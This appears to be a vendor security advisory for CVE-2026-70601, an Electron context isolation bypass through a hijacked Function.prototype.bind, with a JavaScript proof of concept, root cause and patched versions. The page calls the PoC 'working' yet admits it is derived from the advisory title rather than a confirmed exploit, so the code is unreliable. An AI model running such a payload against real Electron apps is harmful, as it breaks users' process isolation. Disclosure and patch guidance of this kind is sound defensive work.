high · 7.5CVE-2026-70601Aug 5, 2026

CVE-2026-70601: Electron Context Isolation Bypass via Function.prototype.bind Hijack

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A flaw in Electron's contextBridge lets untrusted web content override Function.prototype.bind to intercept Promise callbacks from preload scripts, breaking context isolation and potentially gaining…

Packageelectron
Ecosystemnpm
Affected< 39.8.9
Fixed in39.8.9

The problem

Electron's contextBridge proxies Promise-returning functions exposed to the renderer by wrapping their resolve and reject callbacks using Function.prototype.bind internally. Before Electron 39.8.9, the bridge did not use a context-safe, isolated-world copy of bind, so untrusted main-world JavaScript could shadow Function.prototype.bind with its own function.

When the bridged async function settles its Promise, the bridge calls bind through the hijacked prototype. The attacker-supplied replacement runs inside the preload's isolated context, leaking a direct reference to that world. In renderers with nodeIntegration enabled or without a sandbox, this escalates to full Node.js access.

Proof of concept

A working proof-of-concept for CVE-2026-70601 in electron, with the exact payload below.

javascript
// Run this in the renderer (main world) BEFORE calling the bridged async function.
// Assumes the preload exposes: contextBridge.exposeInMainWorld('api', { invoke: () => ipcRenderer.invoke('ping') })

// Step 1: hijack Function.prototype.bind in the main world
const realBind = Function.prototype.bind;
Function.prototype.bind = function(thisArg, ...args) {
  // 'this' here is the isolated-world callback passed by Electron's bridge.
  // Capture it to escape into the preload context.
  const isolatedFn = this;
  console.log('[*] captured isolated-world function:', isolatedFn);
  // Call the real bind so the app keeps working normally.
  return realBind.apply(this, [thisArg, ...args]);
};

// Step 2: trigger the bridged Promise — the bridge calls .bind() on the
// resolve/reject callbacks, which now routes through our hook above.
window.api.invoke().then(() => {
  console.log('[*] context escape complete — isolatedFn holds a preload reference');
});

The root cause is CWE-693 (Protection Mechanism Failure): Electron's bridge code called the renderer-world's Function.prototype.bind to re-bind internal Promise callbacks instead of using the isolated world's own native bind. Because prototype lookups are shared across the same V8 context's prototype chain, a main-world attacker could interpose on that call.

The patch (39.8.9 / 41.2.2 / 40.9.2 / 42.0.0-beta.5) ensures the bridge resolves bind from the isolated world's Function.prototype directly, using a context-captured reference obtained at bridge initialization time before any main-world code runs. This means main-world prototype mutations can no longer affect how the bridge wraps its callbacks.

Public PoC not yet available; payload derived from the advisory title ("Function.prototype.bind hijack") and the patch pattern of prior analogous Electron Promise-based context isolation bypasses.

The fix

Upgrade to Electron 39.8.9, 40.9.2, 41.2.2, or 42.0.0-beta.5. There are no app-level workarounds; the fix is only in the patched Electron runtime. As defense-in-depth, avoid loading untrusted content in windows whose preload scripts expose Promise-returning bridge APIs.

Reporter not attributed.

References: [1][2]

Related research